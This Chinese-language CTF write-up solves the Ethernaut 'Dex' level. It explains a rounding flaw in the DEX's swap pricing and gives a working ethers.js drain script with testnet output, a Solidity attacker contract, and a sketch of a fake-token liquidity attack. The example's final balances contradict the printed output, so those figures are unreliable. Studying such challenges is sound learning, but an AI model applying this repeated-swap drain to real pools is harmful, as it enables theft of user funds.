22.Dex
2023-06-23 20:21:59 # 04.Ethernaut CTF

Dex

题目

要求:将Dex中token1或者token2的余额设置为0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "openzeppelin-contracts-08/token/ERC20/IERC20.sol";
import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";
import 'openzeppelin-contracts-08/access/Ownable.sol';

contract Dex is Ownable {
address public token1;
address public token2;
constructor() {}

function setTokens(address _token1, address _token2) public onlyOwner {
token1 = _token1;
token2 = _token2;
}

function addLiquidity(address token_address, uint amount) public onlyOwner {
IERC20(token_address).transferFrom(msg.sender, address(this), amount);
}

function swap(address from, address to, uint amount) public {
require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");
require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
uint swapAmount = getSwapPrice(from, to, amount);
IERC20(from).transferFrom(msg.sender, address(this), amount);
IERC20(to).approve(address(this), swapAmount);
IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
}

function getSwapPrice(address from, address to, uint amount) public view returns(uint){
return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this)));
}

function approve(address spender, uint amount) public {
SwappableToken(token1).approve(msg.sender, spender, amount);
SwappableToken(token2).approve(msg.sender, spender, amount);
}

function balanceOf(address token, address account) public view returns (uint){
return IERC20(token).balanceOf(account);
}
}

contract SwappableToken is ERC20 {
address private _dex;
constructor(address dexInstance, string memory name, string memory symbol, uint256 initialSupply) ERC20(name, symbol) {
_mint(msg.sender, initialSupply);
_dex = dexInstance;
}

function approve(address owner, address spender, uint256 amount) public {
require(owner != _dex, "InvalidApprover");
super._approve(owner, spender, amount);
}
}

分析

这道题是有关swap和流动性的:一开始Dex拥有100个token1和token2,我拥有10个token1和token2,要想办法将Dex中的token1或者token2设置为0。

  • SwappableToken合约只是一个造币的合约,并没有问题
  • 重点来看Dex合约,这是一个简单的Dex合约,通过getSwapPrice()计算价格,然后进行swap

我们无法添加流动性和设置token1和token2,因为他有onlyowner修饰,而我们并不是owner

1
2
3
4
5
6
7
8
function setTokens(address _token1, address _token2) public onlyOwner {
token1 = _token1;
token2 = _token2;
}

function addLiquidity(address token_address, uint amount) public onlyOwner {
IERC20(token_address).transferFrom(msg.sender, address(this), amount);
}

swap:首先两个常规的require()进行检验,然后根据币对比例获取swap的价格,接着进行币对交换。我们进行swap的时候,必须事先给Dex合约approve,否则transferFrom()就会失败,swap失败

1
2
3
4
5
6
7
8
function swap(address from, address to, uint amount) public {
require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");
require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
uint swapAmount = getSwapPrice(from, to, amount);
IERC20(from).transferFrom(msg.sender, address(this), amount);
IERC20(to).approve(address(this), swapAmount);
IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
}

本道题中的重点,根据币对比例获取swap的价格这个函数是有问题的:solidity中没有浮点数运算,任何计算结果都是整数,比如:5/2=2而不是2.5。进行下面除法的结果会将代币数量四舍五入,这样合约中其中一种代币的总余额会凭空减少。假如我们不断的进行swap,金额不断减少,直到我们拥有足够的钱来进行swap拿走全部的token1或者token2

1
2
3
function getSwapPrice(address from, address to, uint amount) public view returns(uint){
return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this)));
}

举一个连续swap进行攻击的例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
初始状态:Dex中token1余额:100,token2余额:100。我的token1余额:10,token2余额:10。
然后下面不断将全部token1和token2进行swap
========【第1次swap完成】=======
攻击之后,Dex中的token1余额为:110
攻击之后,Dex中的token2余额为:90
攻击之后,Dex中我的token1余额为:0
攻击之后,Dex中我的token2余额为:20
========【第2次swap完成】=======
攻击之后,Dex中的token1余额为:86
攻击之后,Dex中的token2余额为:110
攻击之后,Dex中我的token1余额为:24
攻击之后,Dex中我的token2余额为:0
========【第3次swap完成】=======
攻击之后,Dex中的token1余额为:110
攻击之后,Dex中的token2余额为:80
攻击之后,Dex中我的token1余额为:0
攻击之后,Dex中我的token2余额为:30
========【第4次swap完成】=======
攻击之后,Dex中的token1余额为:69
攻击之后,Dex中的token2余额为:110
攻击之后,Dex中我的token1余额为:41
攻击之后,Dex中我的token2余额为:0
========【第5次swap完成】=======
攻击之后,Dex中的token1余额为:110
攻击之后,Dex中的token2余额为:45
攻击之后,Dex中我的token1余额为:0
攻击之后,Dex中我的token2余额为:65
========【攻击完成】=======
攻击之后,Dex中的token1余额为:0
攻击之后,Dex中的token2余额为:90
攻击之后,Dex中我的token1余额为:110
攻击之后,Dex中我的token2余额为:20

解题

纯ethersjs攻击

头一次自己手写ethersjs代码进行攻击,学到了以下:

  • ABI压缩成一行:工具
  • 熟悉了生成可写合约并且和链上交互
  • 进行一笔交易的时候,就算正确执行了,也必须等待它上链(使用方法返回值.wait()),否则接下来执行的时候,链上数据还没确认!相当于上一步的方法执行的结果并没有得到确认
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
const {ethers} = require("ethers")

const provider = ethers.getDefaultProvider("https://eth-goerli.g.alchemy.com/v2/????????????????");
async function y(){
var DexAddress = '0x22043141CD8E47CE953F4e1BdC15eD7af8a90e9E'
var DexAbi = '[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"inputs":[{"internalType":"address","name":"token_address","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"addLiquidity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"},{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"getSwapPrice","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_token1","type":"address"},{"internalType":"address","name":"_token2","type":"address"}],"name":"setTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"swap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"token1","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"token2","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]'

//连接用户
//利用私钥和provider创建wallet对象
const privateKey = '????????????????????????????????'
const wallet = new ethers.Wallet(privateKey, provider)
// 声明可写合约
const DexContract = new ethers.Contract(DexAddress, DexAbi, wallet)


//查看初始状态
const token1Address = await DexContract.token1()
const token2Address = await DexContract.token2()
console.log(`token1的地址${token1Address}`)
console.log(`token2的地址${token2Address}`)

const balance1 = await DexContract.balanceOf(token1Address,DexAddress)
const balance2 = await DexContract.balanceOf(token2Address,DexAddress)
console.log(`攻击之前,Dex中的token1余额为:${balance1.toString()}`)
console.log(`攻击之前,Dex中的token2余额为:${balance2.toString()}`)

const myAddress = await wallet.address

const balance3 = await DexContract.balanceOf(token1Address,myAddress)
const balance4 = await DexContract.balanceOf(token2Address,myAddress)
console.log(`攻击之前,Dex中我的token1余额为:${balance3.toString()}`)
console.log(`攻击之前,Dex中我的token2余额为:${balance4.toString()}`)


//进行攻击
//1.授权给Dex,这样我们Dex才可以进行交换
//1.1准备工作
var IERC20Abi = '[{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]'
//1.2声明token1合约并且授权
const token1Contract = new ethers.Contract(token1Address, IERC20Abi, wallet)
var approve1 = await token1Contract.approve(DexAddress,99999)
await approve1.wait()
console.log('给Dex授权token1完成')
//1.3声明token2合约并且授权
const token2Contract = new ethers.Contract(token2Address, IERC20Abi, wallet)
var approve2 = await token2Contract.approve(DexAddress,99999)
await approve2.wait()
console.log('给Dex授权token2完成')
//2.进行五次swap
console.log('开始进行swap')

var balanceIn1 = await token1Contract.balanceOf(myAddress)
var tx1 = await DexContract.swap(token1Address,token2Address,parseInt(balanceIn1.toString()))
await tx1.wait()
console.log('========【第1次swap完成】=======')
const swap_token1_1 = await DexContract.balanceOf(token1Address,DexAddress)
const swap_token2_1 = await DexContract.balanceOf(token2Address,DexAddress)
console.log(`攻击之后,Dex中的token1余额为:${swap_token1_1.toString()}`)
console.log(`攻击之后,Dex中的token2余额为:${swap_token2_1.toString()}`)

const swap_token3_1 = await DexContract.balanceOf(token1Address,myAddress)
const swap_token4_1 = await DexContract.balanceOf(token2Address,myAddress)
console.log(`攻击之后,Dex中我的token1余额为:${swap_token3_1.toString()}`)
console.log(`攻击之后,Dex中我的token2余额为:${swap_token4_1.toString()}`)


var balanceIn2 = await token2Contract.balanceOf(myAddress)
var tx2 = await DexContract.swap(token2Address,token1Address,parseInt(balanceIn2.toString()))
await tx2.wait()
console.log('========【第2次swap完成】=======')
const swap_token1_2 = await DexContract.balanceOf(token1Address,DexAddress)
const swap_token2_2 = await DexContract.balanceOf(token2Address,DexAddress)
console.log(`攻击之后,Dex中的token1余额为:${swap_token1_2.toString()}`)
console.log(`攻击之后,Dex中的token2余额为:${swap_token2_2.toString()}`)

const swap_token3_2 = await DexContract.balanceOf(token1Address,myAddress)
const swap_token4_2 = await DexContract.balanceOf(token2Address,myAddress)
console.log(`攻击之后,Dex中我的token1余额为:${swap_token3_2.toString()}`)
console.log(`攻击之后,Dex中我的token2余额为:${swap_token4_2.toString()}`)


var balanceIn3 = await token1Contract.balanceOf(myAddress)
var tx3 = await DexContract.swap(token1Address,token2Address,parseInt(balanceIn3.toString()))
await tx3.wait()
console.log('========【第3次swap完成】=======')
const swap_token1_3 = await DexContract.balanceOf(token1Address,DexAddress)
const swap_token2_3 = await DexContract.balanceOf(token2Address,DexAddress)
console.log(`攻击之后,Dex中的token1余额为:${swap_token1_3.toString()}`)
console.log(`攻击之后,Dex中的token2余额为:${swap_token2_3.toString()}`)

const swap_token3_3 = await DexContract.balanceOf(token1Address,myAddress)
const swap_token4_3 = await DexContract.balanceOf(token2Address,myAddress)
console.log(`攻击之后,Dex中我的token1余额为:${swap_token3_3.toString()}`)
console.log(`攻击之后,Dex中我的token2余额为:${swap_token4_3.toString()}`)

var balanceIn4 = await token2Contract.balanceOf(myAddress)
var tx4 = await DexContract.swap(token2Address,token1Address,parseInt(balanceIn4.toString()),{ gasLimit: 21000000, gasPrice: 50000000000 })
await tx4.wait()
console.log('========【第4次swap完成】=======')
const swap_token1_4 = await DexContract.balanceOf(token1Address,DexAddress)
const swap_token2_4 = await DexContract.balanceOf(token2Address,DexAddress)
console.log(`攻击之后,Dex中的token1余额为:${swap_token1_4.toString()}`)
console.log(`攻击之后,Dex中的token2余额为:${swap_token2_4.toString()}`)

const swap_token3_4 = await DexContract.balanceOf(token1Address,myAddress)
const swap_token4_4 = await DexContract.balanceOf(token2Address,myAddress)
console.log(`攻击之后,Dex中我的token1余额为:${swap_token3_4.toString()}`)
console.log(`攻击之后,Dex中我的token2余额为:${swap_token4_4.toString()}`)


var balanceIn5 = await token1Contract.balanceOf(myAddress)
var tx5 = await DexContract.swap(token1Address,token2Address,parseInt(balanceIn5.toString()),{ gasLimit: 21000000, gasPrice: 50000000000 })
await tx5.wait()
console.log('========【第5次swap完成】=======')
const swap_token1_5 = await DexContract.balanceOf(token1Address,DexAddress)
const swap_token2_5 = await DexContract.balanceOf(token2Address,DexAddress)
console.log(`攻击之后,Dex中的token1余额为:${swap_token1_5.toString()}`)
console.log(`攻击之后,Dex中的token2余额为:${swap_token2_5.toString()}`)

const swap_token3_5 = await DexContract.balanceOf(token1Address,myAddress)
const swap_token4_5 = await DexContract.balanceOf(token2Address,myAddress)
console.log(`攻击之后,Dex中我的token1余额为:${swap_token3_5.toString()}`)
console.log(`攻击之后,Dex中我的token2余额为:${swap_token4_5.toString()}`)


var tx_complete = await DexContract.swap(token2Address,token1Address,45,{ gasLimit: 2100000, gasPrice: 50000000000 })
await tx_complete.wait()
console.log('========【攻击完成】=======')

//检验结果
const token1AfterAttack = await DexContract.balanceOf(token1Address,DexAddress)
const token2AfterAttack = await DexContract.balanceOf(token2Address,DexAddress)
console.log(`攻击之后,Dex中的token1余额为:${token1AfterAttack.toString()}`)
console.log(`攻击之后,Dex中的token2余额为:${token2AfterAttack.toString()}`)

const myToken1AfterAttack = await DexContract.balanceOf(token1Address,myAddress)
const myToken2AfterAttack = await DexContract.balanceOf(token2Address,myAddress)
console.log(`攻击之后,Dex中我的token1余额为:${myToken1AfterAttack.toString()}`)
console.log(`攻击之后,Dex中我的token2余额为:${myToken2AfterAttack.toString()}`)

}
y()

输出结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
token1的地址0x9Faf5813FB3d33780046F67554b29a5900dD4e0b
token2的地址0x9510ec9eEd4fe4f42a49EB0529E2C9d222c66165
攻击之前,Dex中的token1余额为:100
攻击之前,Dex中的token2余额为:100
攻击之前,Dex中我的token1余额为:10
攻击之前,Dex中我的token2余额为:10
给Dex授权token1完成
给Dex授权token2完成
开始进行swap
========【第1次swap完成】=======
攻击之后,Dex中的token1余额为:110
攻击之后,Dex中的token2余额为:90
攻击之后,Dex中我的token1余额为:0
攻击之后,Dex中我的token2余额为:20
========【第2次swap完成】=======
攻击之后,Dex中的token1余额为:86
攻击之后,Dex中的token2余额为:110
攻击之后,Dex中我的token1余额为:24
攻击之后,Dex中我的token2余额为:0
========【第3次swap完成】=======
攻击之后,Dex中的token1余额为:110
攻击之后,Dex中的token2余额为:80
攻击之后,Dex中我的token1余额为:0
攻击之后,Dex中我的token2余额为:30
========【第4次swap完成】=======
攻击之后,Dex中的token1余额为:69
攻击之后,Dex中的token2余额为:110
攻击之后,Dex中我的token1余额为:41
攻击之后,Dex中我的token2余额为:0
========【第5次swap完成】=======
攻击之后,Dex中的token1余额为:110
攻击之后,Dex中的token2余额为:45
攻击之后,Dex中我的token1余额为:0
攻击之后,Dex中我的token2余额为:65
========【攻击完成】=======
攻击之后,Dex中的token1余额为:90
攻击之后,Dex中的token2余额为:0
攻击之后,Dex中我的token1余额为:110
攻击之后,Dex中我的token2余额为:20

成功

image-20230326100923756

image-20230326101025361

remix调用合约攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/ERC20.sol";
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/IERC20.sol";
import 'https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/access/Ownable.sol';

contract Dex is Ownable {
address public token1;
address public token2;
constructor() {}

function setTokens(address _token1, address _token2) public onlyOwner {
token1 = _token1;
token2 = _token2;
}

function addLiquidity(address token_address, uint amount) public onlyOwner {
IERC20(token_address).transferFrom(msg.sender, address(this), amount);
}

function swap(address from, address to, uint amount) public {
require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");
require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
uint swapAmount = getSwapPrice(from, to, amount);
IERC20(from).transferFrom(msg.sender, address(this), amount);
IERC20(to).approve(address(this), swapAmount);
IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
}

function getSwapPrice(address from, address to, uint amount) public view returns(uint){
return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this)));
}

function approve(address spender, uint amount) public {
SwappableToken(token1).approve(msg.sender, spender, amount);
SwappableToken(token2).approve(msg.sender, spender, amount);
}

function balanceOf(address token, address account) public view returns (uint){
return IERC20(token).balanceOf(account);
}
}

contract SwappableToken is ERC20 {
address private _dex;
constructor(address dexInstance, string memory name, string memory symbol, uint256 initialSupply) ERC20(name, symbol) {
_mint(msg.sender, initialSupply);
_dex = dexInstance;
}

function approve(address owner, address spender, uint256 amount) public {
require(owner != _dex, "InvalidApprover");
super._approve(owner, spender, amount);
}
}

contract attacker{
Dex public immutable dex;
IERC20 public immutable token1;
IERC20 public immutable token2;

constructor(Dex _dex){
dex = _dex;
token1 = IERC20(dex.token1());
token2 = IERC20(dex.token2());
}

function attack() public{

token1.transferFrom(msg.sender, address(this), 10);
token2.transferFrom(msg.sender, address(this), 10);

token1.approve(address(dex), type(uint256).max);
token2.approve(address(dex), type(uint256).max);

_swap(token1, token2);
_swap(token2, token1);
_swap(token1, token2);
_swap(token2, token1);
_swap(token1, token2);

dex.swap(address(token2), address(token1), 45);
require(token1.balanceOf(address(dex)) == 0,"dex balance != 0");
}

function _swap(IERC20 tokenIn, IERC20 tokenOut) public{
dex.swap(address(tokenIn), address(tokenOut), tokenIn.balanceOf(address(this)));
}

}

另外

此题如果添加流动性没有onlyOwner修饰,那么我们还可以通过另外一种方式攻击:自己创建一种代币,给自己mint 1百万个,添加流动性,然后直接换走100的token1。

当然下面的代码并不完善!只是整体思路如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
const {ethers} = require("ethers")

const provider = ethers.getDefaultProvider("https://eth-goerli.g.alchemy.com/v2/??????????vvjKtn6UAi");
async function y(){
var address = '0x17aC72d1a7834170CfbC3D268bE4aeBa0ebBd827'
var abi = '[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event","signature....'

//连接用户
//利用私钥和provider创建wallet对象
const privateKey = '????????????????'
const wallet = new ethers.Wallet(privateKey, provider)
// 声明可写合约
const contract = new ethers.Contract(address, abi, wallet)


//查看初始状态
const token1 = await contract.token1()
const token2 = await contract.token2()
console.log(`token1的地址${token1}`)
console.log(`token2的地址${token2}`)

const balance1 = await contract.balanceOf(token1,address)
const balance2 = await contract.balanceOf(token2,address)
console.log(`初始状态,Dex中的token1余额为:${balance1.toString()}`)
console.log(`初始状态,Dex中的token2余额为:${balance2.toString()}`)



//部署合约
const abiAttack = '[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},....'
const bytecode = '60806040523480156200001157600080fd5b506040518060400160405280600881526020017f446578546f6b656e0000000000000000000000000000000000000000000000008152506040518060400160405280600981526020017f446578536f6c766572000000000000000000000000000000000000000000000081525081600390816200008f9190620004ef565b508060049081620000a19190620004ef565b505050620000e433620000b9620000e.......'
const deployTokenFactory = new ethers.ContractFactory(abiAttack, bytecode, wallet);
// 利用deployTokenFactory部署ERC20代币合约
console.log("利用deployTokenFactory部署ERC20代币合约")
const deployTokenContract = await deployTokenFactory.deploy()
console.log(`合约地址: ${deployTokenContract.address}`);
console.log("等待合约部署上链")
await deployTokenContract.deployed()
console.log("合约已上链")

//调用攻击方法
//1.approve给Dex合约
await deployTokenContract.approve(address,'100000000')
console.log("完成approve")
//2.增加流动性100
await contract.addLiquidity(deployTokenContract.address,100)
console.log("完成添加流动性")
//3.查看用我创造的token,用100可以换多少token1
const tokenToGet = await contract.getSwapPrice(deployTokenContract.address,token1,100)
console.log(`查看用我创造的token,用100可以换多少token1:${tokenToGet.toString()}`)
//4.交换
await contract.swap(deployTokenContract.address,token1,100)
console.log("完成swap")

//检验结果
const balanceAfterAttack = await contract.balanceOf(token1,address)
console.log(`攻击之后,Dex中的token1余额为:${balanceAfterAttack.toString()}`)

}
y()

当然这个靶场换题目了,这个方法在这不适用